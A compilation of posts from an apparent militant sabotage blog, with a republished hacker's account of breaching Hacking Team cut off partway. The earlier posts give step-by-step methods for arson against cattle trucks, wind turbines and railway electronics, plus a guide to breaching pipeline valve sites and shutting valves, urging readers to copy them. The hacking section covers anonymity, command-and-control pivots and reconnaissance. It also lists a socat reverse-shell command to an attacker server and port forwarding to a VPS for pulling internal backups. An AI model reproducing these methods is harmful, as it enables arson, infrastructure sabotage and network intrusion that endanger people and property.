All posts by warriorupthrowdown

14 Cattle Trucks Burned

(Technical details are in bold.)

at about 3:40 am on sunday, january 8th, 14 cattle trucks caught fire at the harris feeding company in coalinga, ca. containers of accelerant were placed beneath a row of 14 trucks with 4 digital timers used to light 4 of the containers and kerosene-soaked rope carrying the fire to the other 10 (a tactic adapted from Home Alone 2 [if you’re going to try this make sure to use kerosene, gasoline dries to quickly]). we weren’t sure how well this was going to work, so we waited until there was news reports before writing this. we were extremely pleased to see that all 14 trucks “were a total loss” with some being “completely melted to the ground.”

we’re not going to use this space to expound upon the horrors and injustices of factory farming. there is more than enough armchair-activists and those of passive politics who are more than willing to do that (anything to keep from getting their hands dirty). we, the unsilent minority (the 1%, if you will), choose a more direct form of action.

we’re not delusional enough to believe that this action will shut down the harris feeding company, let alone have any effect on factory farming as a whole. but we maintain that this type of action still has worth, if not solely for the participant’s peace of mind, then to show that despite guards, a constant worker presence, and razorwire fence, the enemy is still vulnerable.

finally, to all those who fantasize and romanticize about direct action yet remain on the fence: there is a lot of stuff that needs to be destroyed and we can’t count on spontaneous combustion and careless welders to do all the work.

until next time…

Points of resistance

From dissemination.noblogs.org. The project is for opposing the Enbridge Line 9, but many of the concepts are transferable to other pipeline projects.

understanding infrastructure basics can help us pinpoint an appropriate point of resistance – so here are some basics.

oil is extracted from the tarsands, and upgraded for transportation through pipelines, or refined for their final destination. pumping stations keep the product flowing through pipelines. densitometer stations send back flow rates and viscosity. bulk oil can be stored in tank farms, until it is refined further, or shipped by rail or truck. valve stations contain valves that open or close the pipeline to isolate sections/stop flow. junctions are facilities where other valves can be turned on or off to direct flow into certain facilities.

access

facilities, pump stations, terminals, valves, and densitometer stations are all accessible via maintained roads.

terminals & storage facilities are often secured 24 hours with lighting and staff on site. there is lots of aboveground structure including above ground pipelines, valves, electrical systems, flow measurement systems and large cylindrical storage tanks. there are 3 along line 9 – in sarnia, westover and montreal – but smaller delivery lines also feed offset facilities on the way, such as the petro-canada tanks in so-called missisauga.

pumping stations may or may not be staffed by security at night, and are usually fenced with 6-8 foot fencing topped with barbed wire. infrastructure also exists here, including above ground pipelines, valves, PIG traps, flow measurement and emergency shutoff buttons.

valves & densitometer stations are usually small & isolated, also with 6-8 foot chain link fencing & barbed wire. their enclosures have a gate entry, often secured with a standard key lock that can be cut with larger-sized bolt cutters and contain a small shack housing electrical sources and measurement equipment. valves have an additional link-chain wrapped around the hand wheel and stem, meant to prevent rotation.

integrity dig sites will be accessible via private property/stakeholder driveways or the right of way. they are sometimes marked with construction truck signs and flagging. notices for future digs are posted in the maintenance filings on the neb site.

right of ways are marked at road crossings by a small sign at the side of the road. It’s easy to find the closest crossing to navigate your way in to the site. Though identifiable in natural areas, ROW’s aren’t always easy to access and traverse swamps, river crossings, property lines etc. if you decide to go for a walk in these manmade mosquito breeding corridors you may have to jump some property fences to continue along your journey.

valves

enbridge has a number of valves on all of their pipelines. these valves are often located in more isolated/rural areas, accessible right off a maintained roadway, and surrounded by chain link with razor wire. locks can be cut by larger sets of bolt cutters [or chain link cut with smaller pairs].

*update: since a number of successful valve site occupations and nighttime sabotage actions, enbridge has added heavier reinforced chain link and lock boxes to their valve facility enclosures. while you can’t cut the chain anymore, or access the locks, you can cut through the chain link fence! also: scout appropriately beforehand. enbridge has acknowledge changes in security, which could mean anything from new chains to security patrols to cameras/motion cameras. BE SAFE!

in their line 9 filings, enbridge claims to be intending to use a double flanged electronically actuated valve manufactured by zwick. their schematics can be found here.

while it appears the majority of older manual valves have been converted to electronically actuated valves, operational/functional manual valves do still exist on the line. enbridge claims only 3 are still existing – all near or in quebec [KP 3458.31, KP 3483.12 & KP 3500], however this is not true. there is at least one other near so-called sarnia [KP 2816.37] off mandaumin road and may be more.

*update: enbridge will be converting the mandaumin road valve, but have no fear – that means they will need to shut off line 9 at one point, and electronic valve have been successfully operated. see here and this handy drawing that was submitted to the site through an anonymous email [i.e. we can’t confirm it’s accuracy]. in that email, it was also noted that different valves may have slightly different electronic interfaces.

there are 3 sources for valve listings, none of them appearing complete or wholly accurate:

  1. land surveys/pipeline maps can be manually checked for existing valve locations marked with a yellow dot.
  2. this list of “new” or converted valves [page 26]
  3. this filing, showing valve locations related to water crossings.

manual vs. electronic actuation

a manual valve is only operated by a manual hand wheel, while electronically actuated valves are operated by electricity – either from remotely, or on site if switched to manual operation. the manual hand wheel will not operate the valve unless the power is off or the valve is on manual/on-site operation.

they’re fairly easy to tell apart – manual valves just have an encasement and hand wheel, while electric valves will have a hand wheel, encasement, electric cords attaching to the bottom with hex-bolts, and sometimes other measuring equipment.

other notes

what is known is that electronic-actuated valves rely on a power source, and in so-called canada are mandated to have a backup power source to move the valve into a “closed” position during a power failure [called “fail-to-safe”].

additionally, enbridge has previously submitted that using a manual valve to turn off a pipeline can take between 10-15 minutes of rotation, so go prepared for a workout.

*update: enbridge has removed the handwheels on the manual valves of line 9. you can cast the bolt size and create your own wheel, however – or find an appropriately sized tool [the bolt is bigger than you think. cast it with a pie pan and clay or something similar!].

safety

so how safe is it to just turn off a valve?

well, first, let’s be real. it’s enbridge that puts us at risk, every single day. it’s the tarsands that put us at risk; every single day.

the tarsands are actively shortening and ending lives.

every. single. day.

so let’s talk about the safety of actions against pipelines in the context of those facts. let’s re-frame the discussions we’re having, and talk about how turning off the pipeline is actually the safest course of action. how an inactive pipelines is safer than letting one run unimpeded.

but if that’s not enough for you, here are a few other things that make you feel better about the actions of a brave few.

  1. physical build: pipelines are built with valves. valves turn off or later flow. thus, common sense says the structure and condition of the pipeline should be enough to contain its contents under those conditions. shutting off valves is not an uncommon practice in the industry.
  2. surge mitigation & safety features: shutting off a valve suddenly does create a pressure surge. this surge, however, is mitigated and safely handled through basic pipeline structure as well as safety features of pipelines including surge relief valves and automatic shutoffs which are mandated by pipeline legislation. years ago government engineers decided that surges from sudden valve closures did not create enough of a threat to allow companies to exclude valves in their system designs.
  3. precedence. ‘nuff said.
  4. phonecalls. in the case of daytime actions taken so far, those involved gave enbridge a heads-up about what was about to happen. in this context especially, it’s easy to see there was never really any threat – to the environment, or to life.

it’s SO important to note that we don’t provide these arguments in the context of action taken against pipelines as being unsafe. we refuse to buy in to that rhetoric and narrative. once again – it is the extraction, refining and transportation of crude that is unsafe and threatens lives. any action taken against those is action based in self-defense – and defense of the land and water.

“integrity” digs

[NOTE: Enbridge recently saw fit to cancel over a hundred integrity digs, citing that they were no longer necessary. for the complete list of cancelled digs, see this document.]

An integrity dig is a visual inspection of a defect detected by an inline/computer and deemed important enough to inspect in person. The area will be marked out & excavated with earth movers and then by hydro vac. The anti-corrosion coating will be sanded off and the defect located & repaired. The pipe will then be re-coated, re-buried and the area re-seeded if necessary. If the anti-corrosion coating is compromised before re-burying, it will have to be re-coated. the process can take anywhere from a few days to a couple weeks and work is not usually done during overnight hours.

Individual points of resistant within a dig vary from pulling pegs to monkeywrenching to work disruptions.

It’s not always necessary to stop pumping oil through the line for these types of repairs.

Enbridge has since filed 322 notices to repair cracks in line 9, just between july and december 2013, all of which – at last check, were scheduled for repair between January 2014 and July 2014.

You can find more info in each individual filing, including the kilometre post [KP] and mile post [MP] of where each dig/repair will take place. If you’re curious about how close these repairs are to you, you can check each KP/MP filing against the detailed Enbridge Line 9 project maps.

terminals, stations & other infrastructure

physical pipelines

pipeline networks are vast and hard to secure, making oil & gas company’s weakness our potential strength. the pipeline infratructure itself is above ground at three points: during layout/construction of a new pipeline/segment, during maintenance when it’s uncovered, and where it comes above ground to pumping stations and terminals. physical pipelines themselves can have varying maintenance requirements. while anomalies on pipeline surfaces are often ignored, there are rigid replacement requirements around at least two specific damages that can delay operation.

i. scratches/dents/interference with pipeline flanges – especially open the open face of a flange, or;

ii. scratches on pipe threads of newly laid out/uninstalled pipe.

clearly it’s in our best interest to let everyone know when these things may have been tampered with or damaged.

telecommunications

some pipeline facilities including densitometre stations and valve stations have telecommunications systems to relay information on pumping pressures and pipeline content and allow remote access/control to these systems. it’s not unimaginable that any kind of interference with their telecommunications equipment might lead to a forced shutdown of the pipeline.

terminals & pumping stations

as work for the expansion of line 9b begins [because we all know it will be] work will begin or continue at pumping stations and terminals along line 9b, from Hamilton to Montreal. this work often includes pipeline shut downs and applications will be made to the NEB beforehand.

enbridge will be doing work at Sarnia Terminal, North Westover, Hilton, Cardinal, Terrebonne and Montreal terminal.

remember: each day the line is shut down costs the corporate bloodsuckers plenty of money – in wages, equipment rentals, insurance and – if you hit it at the right time – oil flow stoppage.

densitometre stations

enbridge has determined that a new densitometer will be installed at KP 2989 (MP 1857), rather than relocating the existing densitometer from KP 2993 (MP1860) as originally filed for.

shut-off valves

enbridge will also be installing 17 new shut off valves along line 9. you can find the kilometre post markings for those valves in this doc, on page 26. compare them to the line 9 maps for exact locations.

France: Attack on wind turbines

(Technical details are in bold.)

In the first night of June, commune of Marsanne, Drôme, two industrial wind turbines are attacked by fire, the outer nacelle of one of them is entirely consumed by the flames.

We proceeded as follows:
approach to the site
breaking of the entrance lock
opening of electrical cabinets
ascent of the mast by the vertical ladder
opening of electrical cabinets
setting up of incendiary devices (plastic bottle, barbed wire, fire lighter)
ignition (lighter), downhill watering of electrical installations and plastics
using a 5l can (oil / petrol mixture)
exit to the threshold, ignition (lighter)
extraction to a safe place

We used this method, in no way considering that we acted in the best possible way. We want to share it with anyone who wants to take it and reproduce the attack.

We dream, not of organization but of individuals acting of their own accord, occasionally associating with sabotage commandos having no other concern than to enjoy fighting dominations unreservedly and inseparably.

From Act For Freedom Now (Transl. modified)

France- High Voltage pylon bends with wrenches and hacksaws

(Technical details are in bold.)

Video here 

Dear Messieurs L. Prentout, P.Remy, and PL.Jacob and A.Colrat

One night, not long ago, we observed a curious phenomenon that I’d like to share with you. Near Saint-Martin d’Aubigny a garland of little fireflies and several pairs of gloved hands were happily busy in our charming countryside. The hacksaws howled while monkey wrenches sang in the quiet night that the humming of your new THT has not interfered with yet. [Note by Warrior Up: this seems to imply that the pylons weren’t ‘live’ yet at the time of sabotage.]

Despite all the precautions you have taken, it seems that the services that seemed to be very busy recently, monitoring our homes, controlling our cars and all those delightful activities that you hold the secret of, were not able to enjoy this magical spectacle, let alone prevent it.

I assure you, dear gentlemen, that I had my glasses on and I was walking straight. Besides, the next day I was able to see that I hadn’t been dreaming. Large metal bars had taken elegant curves and the grasslands were scattered with bolts, as though Santa’s sleigh had crashed into your great iron towers. Because I guess it’s definitely gifts, albeit a little early, that were being prepared for you by these small hands that were taking care not leave you unsatisfied. And it seems that these little fireflies have become expert in the art of giving you such presents.

You will agree, dear sirs, admiring this spectacle, that your great work would be more charming if all the pylons of Cotentin-Maine started to look like that one. Hoping that public money will not be used to adjust such work and that from Flamanville to Beaulion-sur-Oudon, we can still enjoy the show of bars squealing and ballets of fireflies flitting around your 420 “EiffelTowers”.

 Sincere sawlutations!

 An admirer of aspiring artists

note:
RTE, Reseau Transport Electrique – the “infrastructure” arm of EDF tasked with transporting electricity via pylons carrying power generated at nuclear power plant at Flamanville.

From Act for freedom now

Finland: rail security electronics installation burned

(Technical details are in bold.)

With this communiqué we claim responsibility for the railway sabotage directed at a rail security electronics installation at Rekola in Vantaa. For this action we only needed a crowbar, some toilet paper, a few canisters of gasoline and a light. We broke in through the door and used toilet paper soaked in lighter fluid as a fuse, so we could flee the scene in peace before the arrival of the police and the fire department.

The decision to take action again was aided by the mass media’s response to the communiqué that was sent to the takku.net site on June 6th, claiming numerous instances of sabotage over the last few months. The media’s outrageous accusations toward the comrades in Social Center Satama and the mixing up of the Roma migrants to these actions only displays what kind of scum we are dealing with. You can blame yourselves for the latest action.

The representatives of the media left the anarchist prisoners all over the world (and especially in the nine states we phoned in bomb threats to on June 6th), for whom the actions were also carried out in solidarity to – as well as to the Roma people and Social Center Satama, completely uncovered. As long as the situation of our comrades is not brought to light, we will strike against targets that are relevant to capital and the state.

Attacks on the railway network are as old as the anarchist movement itself. We are proud to continue the legacy of rebellious anarchy in our localities and we do so with confidence and a readiness to confront the possible consequences.

We once again send our subversive greetings to our comrades in Social Center Satama, the Roma migrants in Helsinki and anarchist prisoners all over the world. You are not alone!

We send warm greetings to our chilean comrade Luciano Pitronello Schuffeneger, who was seriously injured when a bomb prematurely exploded outside a bank in Santiago de Chile. We also send greetings to the United States to Marie Mason, Eric McDavid, Grant Barnes and the other ecoanarchist prisoners on the international day of solidarity of June 11th.

Fire to the prisons!

To spread the rebellion everywhere – direct action and solidarity!

From Act for freedom now

Arson and sabotage at hambach mine

(Technical details are in bold.)

This new years night while everybody was celebrating, we had a special party of our own, visiting the hambach opencast mine and putting on a nice fireworks display for RWE and breaking some glass for a lucky new fear.

After wandering along the railway tracks which transport brown coal from the mine to nearby power stations, we came across two signal boxes and a bundle of cables and thought these were perfectly suitable targets for our mischevious intentions.

We opened the boxes with a wide chisel and placed inside 10cm lengths of inner tube stuffed with gasoline soaked cloths then smeared the inside of the boxes with burning gel to make sure it all burnt properly.

We thought the party was over, but then on the way back we noticed some welcoming lights from an office trailer in a fenced compound. Next to the trailer were two parked diggers in dire need of maintainance, we checked the trailer was empty by smashing its windows, then cut the fence and set about immediately improving the air conditioning of the diggers, smashing their windows, cutting all of the hydraulics and adding some extra holes to the coolers. We also poured some dirt and broken glass in the gas tanks and used a bolt cutter to cut the valves of the trailers tires.

200m further, we found a front-end loader and gave it the same treatment aswell as emptying the fire extinguisher found inside the cab into its gas tank.

According to the media reports all of this caused a damage of “tens of thousands” of euros, making it our most expensive new years party so far.

We wish to send our thanks to all the people who provided us with perfect soundcover by wasting huge amounts of explosives and terrifying the local wildlife in a stupid capitalist ritual.

– Criminal Mechanics Party

From Act for freedom now

Bologna, Italy: High-speed railway sabotage by fire to fiber-optic cables

Enlarge photo for the location of the cables.

(Technical details are in bold.)

In the night between 7th and 8th November we sabotaged the high speed railway lines Bologna-Milano, Bologna-Piacenza and Bologna-Verona by putting fire to the bundles of optical fibres running in the conduits parallel to the railway, and in this way we caused significant delays to the railway traffic in the Bologna hub.

A Northern League’s national demo was to take place on 8th November in Bologna, and we thought it right to do something to hamper it at the very least. By sabotaging the railway lines we tried to obstruct or at least slow down the Norther League guys’ coming, as they would travel by train, and to make the cops’ job more difficult after they had armoured up the city in order to defend these guys.

We didn’t want everything to go according to the plans of those who militarized the streets.

We decided to carry out this action on the eve of the Northern League rally; however we want to point out that Salvini [the Northern League leader] and the racists who follow him are but one of the many expressions of the same system, a system rotten and unjust to the roots, and for this reason it must be only destroyed. One of the ways to begin with can be to jam it, block it, and it is not necessary to comply with imposed deadlines as one can act also by setting one’s own time.

There exist so many possibilities in spite of the constant progress in control and repression technologies.

Precisely because the system is becoming increasingly complex and pervasive, it needs certain infrastructures that cannot be constantly controlled and have quite delicate points.

To identify them and hit at them is not impossible, what is needed is some reasoning and at times also simple rags soaked in common petrol.

From Act for freedom now

Part 2

From the local media we learn that in the night between 19th and 20th May, copper and fibre optic cables were cut along the high speed rail track in Bologna, and two cockpits were set on fire. In the area graffiti NO TAV were left.

From the press we learn that over 40 high speed trains were delayed up to 30 minutes, and consequently also a dozen local trains were delayed.

From Act for freedom now

HackBack 2

From PasteBin (where it has better formatting)

–[ 1 – Introduction ]———————————————————-

You’ll notice the change in language since the last edition [1]. The
English-speaking world already has tons of books, talks, guides, and
info about hacking. In that world, there’s plenty of hackers better than me,
but they misuse their talents working for “defense” contractors, for intelligence
agencies, to protect banks and corporations, and to defend the status quo.
Hacker culture was born in the US as a counterculture, but that origin only
remains in its aesthetics – the rest has been assimilated. At least they can
wear a t-shirt, dye their hair blue, use their hacker names, and feel like
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need
a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
Like the CNT said after the Gamma Group hack: “Let’s take a step forward with
new forms of struggle” [5]. Hacking is a powerful tool, let’s learn and fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group

–[ 2 – Hacking Team ]———————————————————-

Hacking Team was a company that helped governments hack and spy on
journalists, activists, political opposition, and other threats to their power
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
fascist slogan “boia chi molla”. It’d be more correct to say “boia chi vende
RCS”. They also claimed to have technology to solve the “problem” posed by Tor
and the darknet [13]. But seeing as I’m still free, I have my doubts about
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

–[ 3 – Stay safe out there ]—————————————————

Unfortunately, our world is backwards. You get rich by doing bad things and go
to jail for doing good. Fortunately, thanks to the hard work of people like
the Tor project [1], you can avoid going to jail by taking a few simple
precautions:

1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, it means you’ve
already made a lot of mistakes, but it’s better to be safe.

2) Use a virtual machine with all traffic routed through Tor

This accomplishes two things. First, all your traffic is anonymized through
Tor. Second, keeping your personal life and your hacking on separate
computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
something custom [6]. Here’s [7] a detailed comparison.

3) (Optional) Don’t connect directly to Tor

Tor isn’t a panacea. They can correlate the times you’re connected to Tor
with the times your hacker handle is active. Also, there have been
successful attacks against Tor [8]. You can connect to Tor using other
peoples’ wifi. Wifislax [9] is a linux distro with a lot of tools for
cracking wifi. Another option is to connect to a VPN or a bridge node [10]
before Tor, but that’s less secure because they can still correlate the
hacker’s activity with your house’s internet activity (this was used as
evidence against Jeremy Hammond [11]).

The reality is that while Tor isn’t perfect, it works quite well. When I
was young and reckless, I did plenty of stuff without any protection (I’m
referring to hacking) apart from Tor, that the police tried their hardest
to investigate, and I’ve never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html

—-[ 3.1 – Infrastructure ]—————————————————-

I don’t hack directly from Tor exit nodes. They’re on blacklists, they’re
slow, and they can’t receive connect-backs. Tor protects my anonymity while I
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

For use as C&C servers, to receive connect-back shells, to launch attacks,
and to store the loot.

3) Hacked Servers

For use as pivots to hide the IP addresses of the stable servers. And for
when I want a fast connection without pivoting, for example to scan ports,
scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it’s
used carefully).

—-[ 3.2 – Attribution ]——————————————————-

In the news we often see attacks traced back to government-backed hacking
groups (“APTs”), because they repeatedly use the same tools, leave the same
footprints, and even use the same infrastructure (domains, emails, etc).
They’re negligent because they can hack without legal consequences.

I didn’t want to make the police’s work any easier by relating my hack of
Hacking Team with other hacks I’ve done or with names I use in my day-to-day
work as a blackhat hacker. So, I used new servers and domain names, registered
with new emails, and payed for with new bitcoin addresses. Also, I only used
tools that are publicly available, or things that I wrote specifically for
this attack, and I changed my way of doing some things to not leave my usual
forensic footprint.

–[ 4 – Information Gathering ]————————————————-

Although it can be tedious, this stage is very important, since the larger the
attack surface, the easier it is to find a hole somewhere in it.

—-[ 4.1 – Technical Information ]———————————————

Some tools and techniques are:

1) Google

A lot of interesting things can be found with a few well-chosen search
queries. For example, the identity of DPR [1]. The bible of Google hacking
is the book “Google Hacking for Penetration Testers”. You can find a short
summary in Spanish at [2].

2) Subdomain Enumeration

Often, a company’s main website is hosted by a third party, and you’ll find
the company’s actual IP range thanks to subdomains like mx.company.com or
ns1.company.com. Also, sometimes there are things that shouldn’t be exposed
in “hidden” subdomains. Useful tools for discovering domains and subdomains
are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

With a reverse lookup using the whois information from a domain or IP range
of a company, you can find other domains and IP ranges. As far as I know,
there’s no free way to do reverse lookups aside from a google “hack”:

“via della moscova 13” site:www.findip-address.com
“via della moscova 13” site:domaintools.com

4) Port scanning and fingerprinting

Unlike the other techniques, this talks to the company’s servers. I
include it in this section because it’s not an attack, it’s just
information gathering. The company’s IDS might generate an alert, but you
don’t have to worry since the whole internet is being scanned constantly.

For scanning, nmap [6] is precise, and can fingerprint the majority of
services discovered. For companies with very large IP ranges, zmap [7] or
masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

—-[ 4.2 – Social Information ]————————————————

For social engineering, it’s useful to have information about the employees,
their roles, contact information, operating system, browser, plugins,
software, etc. Some resources are:

1) Google

Here as well, it’s the most useful tool.

2) theHarvester and recon-ng

I already mentioned them in the previous section, but they have a lot more
functionality. They can find a lot of information quickly and
automatically. It’s worth reading all their documentation.

3) LinkedIn

A lot of information about the employees can be found here. The company’s
recruiters are the most likely to accept your connection requests.

4) Data.com

Previously known as jigsaw. They have contact information for many
employees.

5) File Metadata

A lot of information about employees and their systems can be found in
metadata of files the company has published. Useful tools for finding
files on the company’s website and extracting the metadata are metagoofil
[1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

–[ 5 – Entering the network ]————————————————–

There are various ways to get a foothold. Since the method I used against
Hacking Team is uncommon and a lot more work than is usually necessary, I’ll
talk a little about the two most common ways, which I recommend trying first.

—-[ 5.1 – Social Engineering ]————————————————

Social engineering, specifically spear phishing, is responsible for the
majority of hacks these days. For an introduction in Spanish, see [1]. For
more information in English, see [2] (the third part, “Targeted Attacks”). For
fun stories about the social engineering exploits of past generations, see
[3]. I didn’t want to try to spear phish Hacking Team, as their whole business
is helping governments spear phish their opponents, so they’d be much more
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

—-[ 5.2 – Buying Access ]—————————————————–

Thanks to hardworking Russians and their exploit kits, traffic sellers, and
bot herders, many companies already have compromised computers in their
networks. Almost all of the Fortune 500, with their huge networks, have some
bots already inside. However, Hacking Team is a very small company, and most
of it’s employees are infosec experts, so there was a low chance that they’d
already been compromised.

—-[ 5.3 – Technical Exploitation ]——————————————–

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum: 93.62.139.32 – 93.62.139.47
descr: HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn’t find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven’t been patched, I won’t give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

–[ 6 – Be Prepared ]———————————————————–

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I’d prepared were:

1) busybox

For all the standard Unix utilities that the system didn’t have.

2) nmap

To scan and fingerprint Hacking Team’s internal network.

3) Responder.py

The most useful tool for attacking windows networks when you have access to
the internal network, but no domain user.

4) Python

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp, and for
arpspoofing. I wanted to use ettercap, written by Hacking Team’s own ALoR
and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane \
tcp:my_server:my_port

And useful for a lot more, it’s a networking swiss army knife. See the
examples section of its documentation.

8) screen

Like the shell with pty, it wasn’t really necessary, but I wanted to feel
at home in Hacking Team’s network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local network from any
program.

10) tgcd

For forwarding ports, like for the SOCKS server, through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/

The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team’s network.

–[ 7 – Watch and Listen ]——————————————————

Now inside their internal network, I wanted to take a look around and think
about my next step. I started Responder.py in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.

–[ 8 – NoSQL Databases ]——————————————————-

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they’d finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team’s
internal network:

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072

|_ version = 2.6.5

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases

|_ version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/

–[ 9 – Crossed Cables ]——————————————————–

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn’t very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required

iSCSI needs a kernel module, and it would’ve been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

